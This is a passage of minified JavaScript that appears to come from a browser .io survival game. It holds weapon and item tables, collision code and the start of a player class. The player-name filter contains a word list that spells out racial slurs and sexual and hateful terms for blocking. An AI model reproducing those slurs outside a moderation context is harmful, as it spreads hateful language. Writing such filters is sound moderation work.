this.layer = 3 : 2 == this.type ? this.layer = 0 : 4 == this.type && (this.layer =
-1),
this.colDiv = s.colDiv || 1,
this.blocker = s.blocker,
this.ignoreCollision = s.ignoreCollision,
this.dontGather = s.dontGather,
this.hideFromEnemy = s.hideFromEnemy,
this.friction = s.friction,
this.projDmg = s.projDmg,
this.dmg = s.dmg,
this.pDmg = s.pDmg,
this.pps = s.pps,
this.zIndex = s.zIndex || 0,
this.turnSpeed = s.turnSpeed,
this.req = s.req,
this.trap = s.trap,
this.healCol = s.healCol,
this.teleport = s.teleport,
this.boostSpeed = s.boostSpeed,
this.projectile = s.projectile,
this.shootRange = s.shootRange,
this.shootRate = s.shootRate,
this.shootCount = this.shootRate,
this.spawnPoint = s.spawnPoint
}
,
this.changeHealth = function(e, t) {
return this.health += e,
this.health <= 0
}
,
this.getScale = function(e, t) {
return e = e || 1,
this.scale * (this.isItem || 2 == this.type || 3 == this.type || 4 ==
this.type ? 1 : .6 * e) * (t ? 1 : this.colDiv)
}
,
this.visibleToPlayer = function(e) {
return !this.hideFromEnemy || this.owner && (this.owner == e ||
this.owner.team && e.team == this.owner.team)
}
,
this.update = function(e) {
this.active && (this.xWiggle && (this.xWiggle *= Math.pow(.99, e)),
this.yWiggle && (this.yWiggle *= Math.pow(.99, e)),
this.turnSpeed && (this.dir += this.turnSpeed * e))
}
}
}
, function(e, t) {
e.exports.groups = [{
id: 0,
name: "food",
layer: 0
}, {
id: 1,
name: "walls",
place: !0,
limit: 30,
layer: 0
}, {
id: 2,
name: "spikes",
place: !0,
limit: 15,
layer: 0
}, {
id: 3,
name: "mill",
place: !0,
limit: 7,
layer: 1
}, {
id: 4,
name: "mine",
place: !0,
limit: 1,
layer: 0
}, {
id: 5,
name: "trap",
place: !0,
limit: 6,
layer: -1
}, {
id: 6,
name: "booster",
place: !0,
limit: 12,
layer: -1
}, {
id: 7,
name: "turret",
place: !0,
limit: 2,
layer: 1
}, {
id: 8,
name: "watchtower",
place: !0,
limit: 12,
layer: 1
}, {
id: 9,
name: "buff",
place: !0,
limit: 4,
layer: -1
}, {
id: 10,
name: "spawn",
place: !0,
limit: 1,
layer: -1
}, {
id: 11,
name: "sapling",
place: !0,
limit: 2,
layer: 0
}, {
id: 12,
name: "blocker",
place: !0,
limit: 3,
layer: -1
}, {
id: 13,
name: "teleporter",
place: !0,
limit: 2,
layer: -1
}],
t.projectiles = [{
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 25,
speed: 1.6,
scale: 103,
range: 1e3
}, {
indx: 1,
layer: 1,
dmg: 25,
scale: 20
}, {
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 35,
speed: 2.5,
scale: 103,
range: 1200
}, {
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 30,
speed: 2,
scale: 103,
range: 1200
}, {
indx: 1,
layer: 1,
dmg: 16,
scale: 20
}, {
indx: 0,
layer: 0,
src: "bullet_1",
dmg: 50,
speed: 3.6,
scale: 160,
range: 1400
}],
t.weapons = [{
id: 0,
type: 0,
name: "tool hammer",
desc: "tool for gathering all resources",
src: "hammer_1",
length: 140,
width: 140,
xOff: -3,
yOff: 18,
dmg: 25,
range: 65,
gather: 1,
speed: 300
}, {
id: 1,
type: 0,
age: 2,
name: "hand axe",
desc: "gathers resources at a higher rate",
src: "axe_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 30,
spdMult: 1,
range: 70,
gather: 2,
speed: 400
}, {
id: 2,
type: 0,
age: 8,
name: "great axe",
desc: "deal more damage and gather more resources",
src: "great_axe_1",
length: 140,
width: 140,
xOff: -8,
yOff: 25,
dmg: 35,
spdMult: 1,
range: 75,
gather: 4,
speed: 400
}, {
id: 3,
type: 0,
age: 2,
name: "short sword",
desc: "increased attack power but slower move speed",
src: "sword_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 46,
dmg: 35,
spdMult: .85,
range: 110,
gather: 1,
speed: 300
}, {
id: 4,
type: 0,
age: 8,
name: "katana",
desc: "greater range and damage",
src: "samurai_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 59,
dmg: 40,
spdMult: .8,
range: 118,
gather: 1,
speed: 300
}, {
id: 5,
type: 0,
age: 2,
name: "polearm",
desc: "long range melee weapon",
src: "spear_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 45,
knock: .2,
spdMult: .82,
range: 142,
gather: 1,
speed: 700
}, {
id: 6,
type: 0,
age: 2,
name: "bat",
desc: "fast long range melee weapon",
src: "bat_1",
iPad: 1.3,
length: 110,
width: 180,
xOff: -8,
yOff: 53,
dmg: 20,
knock: .7,
range: 110,
gather: 1,
speed: 300
}, {
id: 7,
type: 0,
age: 2,
name: "daggers",
desc: "really fast short range weapon",
src: "dagger_1",
iPad: .8,
length: 110,
width: 110,
xOff: 18,
yOff: 0,
dmg: 20,
knock: .1,
range: 65,
gather: 1,
hitSlow: .1,
spdMult: 1.13,
speed: 100
}, {
id: 8,
type: 0,
age: 2,
name: "stick",
desc: "great for gathering but very weak",
src: "stick_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 1,
spdMult: 1,
range: 70,
gather: 7,
speed: 400
}, {
id: 9,
type: 1,
age: 6,
name: "hunting bow",
desc: "bow used for ranged combat and hunting",
src: "bow_1",
req: ["wood", 4],
length: 120,
width: 120,
xOff: -6,
yOff: 0,
projectile: 0,
spdMult: .75,
speed: 600
}, {
id: 10,
type: 1,
age: 6,
name: "great hammer",
desc: "hammer used for destroying structures",
src: "great_hammer_1",
length: 140,
width: 140,
xOff: -9,
yOff: 25,
dmg: 10,
spdMult: .88,
range: 75,
sDmg: 7.5,
gather: 1,
speed: 400
}, {
id: 11,
type: 1,
age: 6,
name: "wooden shield",
desc: "blocks projectiles and reduces melee damage",
src: "shield_1",
length: 120,
width: 120,
shield: .2,
xOff: 6,
yOff: 0,
spdMult: .7
}, {
id: 12,
type: 1,
age: 8,
name: "crossbow",
desc: "deals more damage and has greater range",
src: "crossbow_1",
req: ["wood", 5],
aboveHand: !0,
armS: .75,
length: 120,
width: 120,
xOff: -4,
yOff: 0,
projectile: 2,
spdMult: .7,
speed: 700
}, {
id: 13,
type: 1,
age: 9,
name: "repeater crossbow",
desc: "high firerate crossbow with reduced damage",
src: "crossbow_2",
req: ["wood", 10],
aboveHand: !0,
armS: .75,
length: 120,
width: 120,
xOff: -4,
yOff: 0,
projectile: 3,
spdMult: .7,
speed: 230
}, {
id: 14,
type: 1,
age: 6,
name: "mc grabby",
desc: "steals resources from enemies",
src: "grab_1",
length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 0,
steal: 250,
knock: .2,
spdMult: 1.05,
range: 125,
gather: 0,
speed: 700
}, {
id: 15,
type: 1,
age: 9,
name: "musket",
desc: "slow firerate but high damage and range",
src: "musket_1",
req: ["stone", 10],
aboveHand: !0,
rec: .35,
armS: .6,
hndS: .3,
hndD: 1.6,
length: 205,
width: 205,
xOff: 25,
yOff: 0,
projectile: 5,
hideProjectile: !0,
spdMult: .6,
speed: 1500
}],
e.exports.list = [{
group: e.exports.groups[0],
name: "apple",
desc: "restores 20 health when consumed",
req: ["food", 10],
consume: function(e) {
return e.changeHealth(20, e)
},
scale: 22,
holdOffset: 15
}, {
age: 3,
group: e.exports.groups[0],
name: "cookie",
desc: "restores 40 health when consumed",
req: ["food", 15],
consume: function(e) {
return e.changeHealth(40, e)
},
scale: 27,
holdOffset: 15
}, {
age: 7,
group: e.exports.groups[0],
name: "cheese",
desc: "restores 30 health and another 50 over 5 seconds",
req: ["food", 25],
consume: function(e) {
return !!(e.changeHealth(30, e) || e.health < 100) &&
(e.dmgOverTime.dmg = -10,
e.dmgOverTime.doer = e,
e.dmgOverTime.time = 5,
!0)
},
scale: 27,
holdOffset: 15
}, {
group: e.exports.groups[1],
name: "wood wall",
desc: "provides protection for your village",
req: ["wood", 10],
projDmg: !0,
health: 380,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 3,
group: e.exports.groups[1],
name: "stone wall",
desc: "provides improved protection for your village",
req: ["stone", 25],
health: 900,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[1],
name: "castle wall",
desc: "provides powerful protection for your village",
req: ["stone", 35],
health: 1500,
scale: 52,
holdOffset: 20,
placeOffset: -5
}, {
group: e.exports.groups[2],
name: "spikes",
desc: "damages enemies when they touch them",
req: ["wood", 20, "stone", 5],
health: 400,
dmg: 20,
scale: 49,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 5,
group: e.exports.groups[2],
name: "greater spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 10],
health: 500,
dmg: 35,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 9,
group: e.exports.groups[2],
name: "poison spikes",
desc: "poisons enemies when they touch them",
req: ["wood", 35, "stone", 15],
health: 600,
dmg: 30,
pDmg: 5,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 9,
group: e.exports.groups[2],
name: "spinning spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 20],
health: 500,
dmg: 45,
turnSpeed: .003,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
group: e.exports.groups[3],
name: "windmill",
desc: "generates gold over time",
req: ["wood", 50, "stone", 10],
health: 400,
pps: 1,
turnSpeed: .0016,
spritePadding: 25,
iconLineMult: 12,
scale: 45,
holdOffset: 20,
placeOffset: 5
}, {
age: 5,
group: e.exports.groups[3],
name: "faster windmill",
desc: "generates more gold over time",
req: ["wood", 60, "stone", 20],
health: 500,
pps: 1.5,
turnSpeed: .0025,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5
}, {
age: 8,
group: e.exports.groups[3],
name: "power mill",
desc: "generates more gold over time",
req: ["wood", 100, "stone", 50],
health: 800,
pps: 2,
turnSpeed: .005,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5
}, {
age: 5,
group: e.exports.groups[4],
type: 2,
name: "mine",
desc: "allows you to mine stone",
req: ["wood", 20, "stone", 100],
iconLineMult: 12,
scale: 65,
holdOffset: 20,
placeOffset: 0
}, {
age: 5,
group: e.exports.groups[11],
type: 0,
name: "sapling",
desc: "allows you to farm wood",
req: ["wood", 150],
iconLineMult: 12,
colDiv: .5,
scale: 110,
holdOffset: 50,
placeOffset: -15
}, {
age: 4,
group: e.exports.groups[5],
name: "pit trap",
desc: "pit that traps enemies if they walk over it",
req: ["wood", 30, "stone", 30],
trap: !0,
ignoreCollision: !0,
hideFromEnemy: !0,
health: 500,
colDiv: .2,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 4,
group: e.exports.groups[6],
name: "boost pad",
desc: "provides boost when stepped on",
req: ["stone", 20, "wood", 5],
ignoreCollision: !0,
boostSpeed: 1.5,
health: 150,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[7],
doUpdate: !0,
name: "turret",
desc: "defensive structure that shoots at enemies",
req: ["wood", 200, "stone", 150],
health: 800,
projectile: 1,
shootRange: 700,
shootRate: 2200,
scale: 43,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[8],
name: "platform",
desc: "platform to shoot over walls and cross over water",
req: ["wood", 20],
ignoreCollision: !0,
zIndex: 1,
health: 300,
scale: 43,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[9],
name: "healing pad",
desc: "standing on it will slowly heal you",
req: ["wood", 30, "food", 10],
ignoreCollision: !0,
healCol: 15,
health: 400,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 9,
group: e.exports.groups[10],
name: "spawn pad",
desc: "you will spawn here when you die but it will dissapear",
req: ["wood", 100, "stone", 100],
health: 400,
ignoreCollision: !0,
spawnPoint: !0,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[12],
name: "blocker",
desc: "blocks building in radius",
req: ["wood", 30, "stone", 25],
ignoreCollision: !0,
blocker: 300,
health: 400,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[13],
name: "teleporter",
desc: "teleports you to a random point on the map",
req: ["wood", 60, "stone", 60],
ignoreCollision: !0,
teleport: !0,
health: 200,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}];
for (var n = 0; n < e.exports.list.length; ++n)
e.exports.list[n].id = n,
e.exports.list[n].pre && (e.exports.list[n].pre = n -
e.exports.list[n].pre)
}
, function(e, t) {
e.exports = {}
}
, function(e, t) {
var n = Math.floor
, i = Math.abs
, r = Math.cos
, s = Math.sin
, a = (Math.pow,
Math.sqrt);
e.exports = function(e, t, o, c, l, h) {
var u, f;
this.objects = t,
this.grids = {},
this.updateObjects = [];
var d = c.mapScale / c.colGrid;
this.setObjectGrids = function(e) {
for (var t = Math.min(c.mapScale, Math.max(0, e.x)), n =
Math.min(c.mapScale, Math.max(0, e.y)), i = 0; i < c.colGrid; ++i) {
u = i * d;
for (var r = 0; r < c.colGrid; ++r)
f = r * d,
t + e.scale >= u && t - e.scale <= u + d && n + e.scale >= f &&
n - e.scale <= f + d && (this.grids[i + "_" + r] || (this.grids[i + "_" + r] = []),
this.grids[i + "_" + r].push(e),
e.gridLocations.push(i + "_" + r))
}
}
,
this.removeObjGrid = function(e) {
for (var t, n = 0; n < e.gridLocations.length; ++n)
(t = this.grids[e.gridLocations[n]].indexOf(e)) >= 0 &&
this.grids[e.gridLocations[n]].splice(t, 1)
}
,
this.disableObj = function(e) {
if (e.active = !1,
h) {
e.owner && e.pps && (e.owner.pps -= e.pps),
this.removeObjGrid(e);
var t = this.updateObjects.indexOf(e);
t >= 0 && this.updateObjects.splice(t, 1)
}
}
,
this.hitObj = function(e, t) {
for (var n = 0; n < l.length; ++n)
l[n].active && (e.sentTo[l[n].id] && (e.active ? l[n].canSee(e) &&
h.send(l[n].id, "8", o.fixTo(t, 1), e.sid) : h.send(l[n].id, "12", e.sid)),
e.active || e.owner != l[n] || l[n].changeItemCount(e.group.id, -
1))
}
;
var p, g, m = [];
this.getGridArrays = function(e, t, i) {
u = n(e / d),
f = n(t / d),
m.length = 0;
try {
this.grids[u + "_" + f] && m.push(this.grids[u + "_" + f]),
e + i >= (u + 1) * d && ((p = this.grids[u + 1 + "_" + f]) &&
m.push(p),
f && t - i <= f * d ? (p = this.grids[u + 1 + "_" + (f - 1)]) &&
m.push(p) : t + i >= (f + 1) * d && (p = this.grids[u + 1 + "_" + (f + 1)]) &&
m.push(p)),
u && e - i <= u * d && ((p = this.grids[u - 1 + "_" + f]) &&
m.push(p),
f && t - i <= f * d ? (p = this.grids[u - 1 + "_" + (f - 1)]) &&
m.push(p) : t + i >= (f + 1) * d && (p = this.grids[u - 1 + "_" + (f + 1)]) &&
m.push(p)),
t + i >= (f + 1) * d && (p = this.grids[u + "_" + (f + 1)]) &&
m.push(p),
f && t - i <= f * d && (p = this.grids[u + "_" + (f - 1)]) &&
m.push(p)
} catch (e) {}
return m
}
,
this.add = function(n, i, r, s, a, o, c, l, u) {
g = null;
for (var f = 0; f < t.length; ++f)
if (t[f].sid == n) {
g = t[f];
break
}
if (!g)
for (f = 0; f < t.length; ++f)
if (!t[f].active) {
g = t[f];
break
}
g || (g = new e(n),
t.push(g)),
l && (g.sid = n),
g.init(i, r, s, a, o, c, u),
h && (this.setObjectGrids(g),
g.doUpdate && this.updateObjects.push(g))
}
,
this.disableBySid = function(e) {
for (var n = 0; n < t.length; ++n)
if (t[n].sid == e) {
this.disableObj(t[n]);
break
}
}
,
this.removeAllItems = function(e, n) {
for (var i = 0; i < t.length; ++i)
t[i].active && t[i].owner && t[i].owner.sid == e &&
this.disableObj(t[i]);
n && n.broadcast("13", e)
}
,
this.fetchSpawnObj = function(e) {
for (var n = null, i = 0; i < t.length; ++i)
if ((g = t[i]).active && g.owner && g.owner.sid == e &&
g.spawnPoint) {
n = [g.x, g.y],
this.disableObj(g),
h.broadcast("12", g.sid),
g.owner && g.owner.changeItemCount(g.group.id, -1);
break
}
return n
}
,
this.checkItemLocation = function(e, n, i, r, s, a, l) {
for (var h = 0; h < t.length; ++h) {
var u = t[h].blocker ? t[h].blocker : t[h].getScale(r,
t[h].isItem);
if (t[h].active && o.getDistance(e, n, t[h].x, t[h].y) < i + u)
return !1
}
return !(!a && 18 != s && n >= c.mapScale / 2 - c.riverWidth / 2 && n
<= c.mapScale / 2 + c.riverWidth / 2)
}
,
this.addProjectile = function(e, t, n, i, r) {
for (var s, a = items.projectiles[r], c = 0; c < projectiles.length; +
+c)
if (!projectiles[c].active) {
s = projectiles[c];
break
}
s || (s = new Projectile(l,o),
projectiles.push(s)),
s.init(r, e, t, n, a.speed, i, a.scale)
}
,
this.checkCollision = function(e, t, n) {
n = n || 1;
var l = e.x - t.x
, h = e.y - t.y
, u = e.scale + t.scale;
if (i(l) <= u || i(h) <= u) {
u = e.scale + (t.getScale ? t.getScale() : t.scale);
var f = a(l * l + h * h) - u;
if (f <= 0) {
if (t.ignoreCollision)
!t.trap || e.noTrap || t.owner == e || t.owner &&
t.owner.team && t.owner.team == e.team ? t.boostSpeed ? (e.xVel += n * t.boostSpeed
* (t.weightM || 1) * r(t.dir),
e.yVel += n * t.boostSpeed * (t.weightM || 1) * s(t.dir)) :
t.healCol ? e.healCol = t.healCol : t.teleport && (e.x = o.randInt(0, c.mapScale),
e.y = o.randInt(0, c.mapScale)) : (e.lockMove = !0,
t.hideFromEnemy = !1);
else {
var d = o.getDirection(e.x, e.y, t.x, t.y);
if (o.getDistance(e.x, e.y, t.x, t.y),
t.isPlayer ? (f = -1 * f / 2,
e.x += f * r(d),
e.y += f * s(d),
t.x -= f * r(d),
t.y -= f * s(d)) : (e.x = t.x + u * r(d),
e.y = t.y + u * s(d),
e.xVel *= .75,
e.yVel *= .75),
t.dmg && t.owner != e && (!t.owner || !t.owner.team ||
t.owner.team != e.team)) {
e.changeHealth(-t.dmg, t.owner, t);
var p = 1.5 * (t.weightM || 1);
e.xVel += p * r(d),
e.yVel += p * s(d),
!t.pDmg || e.skin && e.skin.poisonRes ||
(e.dmgOverTime.dmg = t.pDmg,
e.dmgOverTime.time = 5,
e.dmgOverTime.doer = t.owner),
e.colDmg && t.health && (t.changeHealth(-e.colDmg) &&
this.disableObj(t),
this.hitObj(t, o.getDirection(e.x, e.y, t.x, t.y)))
}
}
return t.zIndex > e.zIndex && (e.zIndex = t.zIndex),
!0
}
}
return !1
}
}
}
, function(e, t, n) {
var i = new (n(49));
i.addWords("jew", "black", "baby", "child", "white", "porn", "pedo", "trump",
"clinton", "hitler", "nazi", "gay", "pride", "sex", "pleasure", "touch", "poo",
"kids", "rape", "white power", "nigga", "nig nog", "doggy", "rapist", "boner",
"nigger", "nigg", "finger", "nogger", "nagger", "nig", "fag", "gai", "pole",
"stripper", "penis", "vagina", "pussy", "nazi", "hitler", "stalin", "burn",
"chamber", "cock", "peen", "dick", "spick", "nieger", "die", "satan", "n|ig",
"nlg", "cunt", "c0ck", "fag", "lick", "condom", "anal", "shit", "phile", "little",
"kids", "free KR", "tiny", "sidney", "ass", "kill", ".io", "(dot)", "[dot]",
"mini", "whiore", "whore", "faggot", "github", "1337", "666", "satan", "senpa",
"discord", "d1scord", "mistik", ".io", "senpa.io", "sidney", "sid", "senpaio",
"vries", "asa");
var r = Math.abs
, s = Math.cos
, a = Math.sin
, o = Math.pow
, c = Math.sqrt;
e.exports = function(e, t, n, l, h, u, f, d, p, g, m, y, k, v) {
this.id = e,
this.sid = t,
this.tmpScore = 0,
this.team = null,
this.skinIndex = 0,
this.tailIndex = 0,
this.hitTime = 0,
this.tails = {};
for (var w = 0; w < m.length; ++w)
m[w].price <= 0 && (this.tails[m[w].id] = 1);
for (this.skins = {},
w = 0; w < g.length; ++w)
g[w].price <= 0 && (this.skins[g[w].id] = 1);
this.points = 0,
this.dt = 0,
this.hidden = !1,
this.itemCounts = {},
this.isPlayer = !0,
this.pps = 0,
this.moveDir = void 0,
this.skinRot = 0,
this.lastPing = 0,
this.iconIndex = 0,
this.skinColor = 0,
this.spawn = function(e) {
this.active = !0,
this.alive = !0,
this.lockMove = !1,
this.lockDir = !1,
this.minimapCounter = 0,
this.chatCountdown = 0,
this.shameCount = 0,
this.shameTimer = 0,
this.sentTo = {},
this.gathering = 0,
this.autoGather = 0,
this.animTime = 0,
this.animSpeed = 0,
this.mouseState = 0,
this.buildIndex = -1,
this.weaponIndex = 0,
this.dmgOverTime = {},
this.noMovTimer = 0,
this.maxXP = 300,
this.XP = 0,
this.age = 1,
this.kills = 0,
this.upgrAge = 2,
this.upgradePoints = 0,
this.x = 0,
this.y = 0,
this.zIndex = 0,
this.xVel = 0,
this.yVel = 0,
this.slowMult = 1,
this.dir = 0,
this.dirPlus = 0,
this.targetDir = 0,
this.targetAngle = 0,
this.maxHealth = 100,
this.health = this.maxHealth,
this.scale = n.playerScale,
this.speed = n.playerSpeed,
this.resetMoveDir(),
this.resetResources(e),
this.items = [0, 3, 6, 10],
this.weapons = [0],
this.shootCount = 0,
this.weaponXP = [],
this.reloads = {}
}
,
this.resetMoveDir = function() {
this.moveDir = void 0
}
,
this.resetResources = function(e) {
for (var t = 0; t < n.resourceTypes.length; ++t)
this[n.resourceTypes[t]] = e ? 100 : 0
}
,
this.addItem = function(e) {
var t = p.list[e];
if (t) {
for (var n = 0; n < this.items.length; ++n)
if (p.list[this.items[n]].group == t.group)
return this.buildIndex == this.items[n] && (this.buildIndex
= e),
this.items[n] = e,
!0;
return this.items.push(e),
!0
}
return !1
}
,
this.setUserData = function(e) {
if (e) {
this.name = "unknown";
var t = e.name + ""
, r = !1
, s = (t = (t = (t = (t = t.slice(0,
n.maxNameLength)).replace(/[^\w:\(\)\/? -]+/gim, " ")).replace(/[^\x00-\x7F]/g, "
")).trim()).toLowerCase().replace(/\s/g, "").replace(/1/g, "i").replace(/0/g,
"o").replace(/5/g, "s");
for (var a of i.list)
if (-1 != s.indexOf(a)) {
r = !0;
break
}
t.length > 0 && !r && (this.name = t),
this.skinColor = 0,
n.skinColors[e.skin] && (this.skinColor = e.skin)
}
}
,
this.getData = function() {
return [this.id, this.sid, this.name, l.fixTo(this.x, 2),
l.fixTo(this.y, 2), l.fixTo(this.dir, 3), this.health, this.maxHealth, this.scale,
this.skinColor]
}
,
this.setData = function(e) {
this.id = e[0],
this.sid = e[1],
this.name = e[2],
this.x = e[3],
this.y = e[4],
this.dir = e[5],
this.health = e[6],
this.maxHealth = e[7],
this.scale = e[8],
this.skinColor = e[9]
}
;
var b = 0;
this.update = function(e) {
if (this.alive) {
if (this.shameTimer > 0 && (this.shameTimer -= e,
this.shameTimer <= 0 && (this.shameTimer = 0,
this.shameCount = 0)),
(b -= e) <= 0) {
var t = (this.skin && this.skin.healthRegen ?
this.skin.healthRegen : 0) + (this.tail && this.tail.healthRegen ?
this.tail.healthRegen : 0);
t && this.changeHealth(t, this),
this.dmgOverTime.dmg && (this.changeHealth(-
this.dmgOverTime.dmg, this.dmgOverTime.doer),
this.dmgOverTime.time -= 1,
this.dmgOverTime.time <= 0 && (this.dmgOverTime.dmg = 0)),
this.healCol && this.changeHealth(this.healCol, this),
b = 1e3
}
if (this.alive) {
if (this.slowMult < 1 && (this.slowMult += 8e-4 * e,
this.slowMult > 1 && (this.slowMult = 1)),
this.noMovTimer += e,
(this.xVel || this.yVel) && (this.noMovTimer = 0),
this.lockMove)
this.xVel = 0,
this.yVel = 0;
else {
var i = (this.buildIndex >= 0 ? .5 : 1) *
(p.weapons[this.weaponIndex].spdMult || 1) * (this.skin && this.skin.spdMult || 1)
* (this.tail && this.tail.spdMult || 1) * (this.y <= n.snowBiomeTop ? this.skin &&
this.skin.coldM ? 1 : n.snowSpeed : 1) * this.slowMult;
!this.zIndex && this.y >= n.mapScale / 2 - n.riverWidth / 2
&& this.y <= n.mapScale / 2 + n.riverWidth / 2 && (this.skin && this.skin.watrImm ?
(i *= .75,
this.xVel += .4 * n.waterCurrent * e) : (i *= .33,
this.xVel += n.waterCurrent * e));
var r = null != this.moveDir ? s(this.moveDir) : 0
, d = null != this.moveDir ? a(this.moveDir) : 0
, g = c(r * r + d * d);
0 != g && (r /= g,
d /= g),
r && (this.xVel += r * this.speed * i * e),
d && (this.yVel += d * this.speed * i * e)
}
var m;
this.zIndex = 0,
this.lockMove = !1,
this.healCol = 0;
for (var y = l.getDistance(0, 0, this.xVel * e, this.yVel * e),
k = Math.min(4, Math.max(1, Math.round(y / 40))), v = 1 / k, w = 0; w < k; ++w) {
this.xVel && (this.x += this.xVel * e * v),
this.yVel && (this.y += this.yVel * e * v),
m = u.getGridArrays(this.x, this.y, this.scale);
for (var x = 0; x < m.length; ++x)
for (var S = 0; S < m[x].length; ++S)
m[x][S].active && u.checkCollision(this, m[x][S],
v)
}
for (w = (I = f.indexOf(this)) + 1; w < f.length; ++w)
f[w] != this && f[w].alive && u.checkCollision(this, f[w]);
if (this.xVel && (this.xVel *= o(n.playerDecel, e),
this.xVel <= .01 && this.xVel >= -.01 && (this.xVel = 0)),
this.yVel && (this.yVel *= o(n.playerDecel, e),
this.yVel <= .01 && this.yVel >= -.01 && (this.yVel = 0)),
this.x - this.scale < 0 ? this.x = this.scale : this.x +
this.scale > n.mapScale && (this.x = n.mapScale - this.scale),
this.y - this.scale < 0 ? this.y = this.scale : this.y +
this.scale > n.mapScale && (this.y = n.mapScale - this.scale),
this.buildIndex < 0)
if (this.reloads[this.weaponIndex] > 0)
this.reloads[this.weaponIndex] -= e,
this.gathering = this.mouseState;
else if (this.gathering || this.autoGather) {
var T = !0;
if (null != p.weapons[this.weaponIndex].gather)
this.gather(f);
else if (null != p.weapons[this.weaponIndex].projectile
&& this.hasRes(p.weapons[this.weaponIndex], this.skin ? this.skin.projCost : 0)) {
this.useRes(p.weapons[this.weaponIndex],
this.skin ? this.skin.projCost : 0),
this.noMovTimer = 0;
var I = p.weapons[this.weaponIndex].projectile
, E = 2 * this.scale
, M = this.skin && this.skin.aMlt ?
this.skin.aMlt : 1;
p.weapons[this.weaponIndex].rec && (this.xVel -=
p.weapons[this.weaponIndex].rec * s(this.dir),
this.yVel -= p.weapons[this.weaponIndex].rec *
a(this.dir)),
h.addProjectile(this.x + E * s(this.dir), this.y +
E * a(this.dir), this.dir, p.projectiles[I].range * M, p.projectiles[I].speed * M,
I, this, null, this.zIndex)
} else
T = !1;
this.gathering = this.mouseState,
T && (this.reloads[this.weaponIndex] =
p.weapons[this.weaponIndex].speed * (this.skin && this.skin.atkSpd || 1))
}
}
}
}
,
this.addWeaponXP = function(e) {
this.weaponXP[this.weaponIndex] || (this.weaponXP[this.weaponIndex] =
0),
this.weaponXP[this.weaponIndex] += e
}
,
this.earnXP = function(e) {
this.age < n.maxAge && (this.XP += e,
this.XP >= this.maxXP ? (this.age < n.maxAge ? (this.age++,
this.XP = 0,
this.maxXP *= 1.2) : this.XP = this.maxXP,
this.upgradePoints++,
y.send(this.id, "16", this.upgradePoints, this.upgrAge),
y.send(this.id, "15", this.XP, l.fixTo(this.maxXP, 1), this.age)) :
y.send(this.id, "15", this.XP))
}
,
this.changeHealth = function(e, t) {
if (e > 0 && this.health >= this.maxHealth)
return !1;
e < 0 && this.skin && (e *= this.skin.dmgMult || 1),
e < 0 && this.tail && (e *= this.tail.dmgMult || 1),
e < 0 && (this.hitTime = Date.now()),
this.health += e,
this.health > this.maxHealth && (e -= this.health - this.maxHealth,
this.health = this.maxHealth),
this.health <= 0 && this.kill(t);
for (var n = 0; n < f.length; ++n)
this.sentTo[f[n].id] && y.send(f[n].id, "h", this.sid,
Math.round(this.health));
return !t || !t.canSee(this) || t == this && e < 0 || y.send(t.id, "t",
Math.round(this.x), Math.round(this.y), Math.round(-e), 1),
!0
}
,
this.kill = function(e) {
e && e.alive && (e.kills++,
e.skin && e.skin.goldSteal ? k(e, Math.round(this.points / 2)) : k(e,
Math.round(100 * this.age * (e.skin && e.skin.kScrM ? e.skin.kScrM : 1))),
y.send(e.id, "9", "kills", e.kills, 1)),
this.alive = !1,
y.send(this.id, "11"),
v()
}
,
this.addResource = function(e, t, i) {
!i && t > 0 && this.addWeaponXP(t),
3 == e ? k(this, t, !0) : (this[n.resourceTypes[e]] += t,
y.send(this.id, "9", n.resourceTypes[e], this[n.resourceTypes[e]], 1))
}
,
this.changeItemCount = function(e, t) {
this.itemCounts[e] = this.itemCounts[e] || 0,
this.itemCounts[e] += t,
y.send(this.id, "14", e, this.itemCounts[e])
}
,
this.buildItem = function(e) {
var t = this.scale + e.scale + (e.placeOffset || 0)
, n = this.x + t * s(this.dir)
, i = this.y + t * a(this.dir);
if (this.canBuild(e) && !(e.consume && this.skin && this.skin.noEat) &&
(e.consume || u.checkItemLocation(n, i, e.scale, .6, e.id, !1, this))) {
var r = !1;
if (e.consume) {
if (this.hitTime) {
var o = Date.now() - this.hitTime;
this.hitTime = 0,
o <= 120 ? (this.shameCount++,
this.shameCount >= 8 && (this.shameTimer = 3e4,
this.shameCount = 0)) : (this.shameCount -= 2,
this.shameCount <= 0 && (this.shameCount = 0))
}
this.shameTimer <= 0 && (r = e.consume(this))
} else
r = !0,
e.group.limit && this.changeItemCount(e.group.id, 1),
e.pps && (this.pps += e.pps),
u.add(u.objects.length, n, i, this.dir, e.scale, e.type, e, !1,
this);
r && (this.useRes(e),
this.buildIndex = -1)
}
}
,
this.hasRes = function(e, t) {
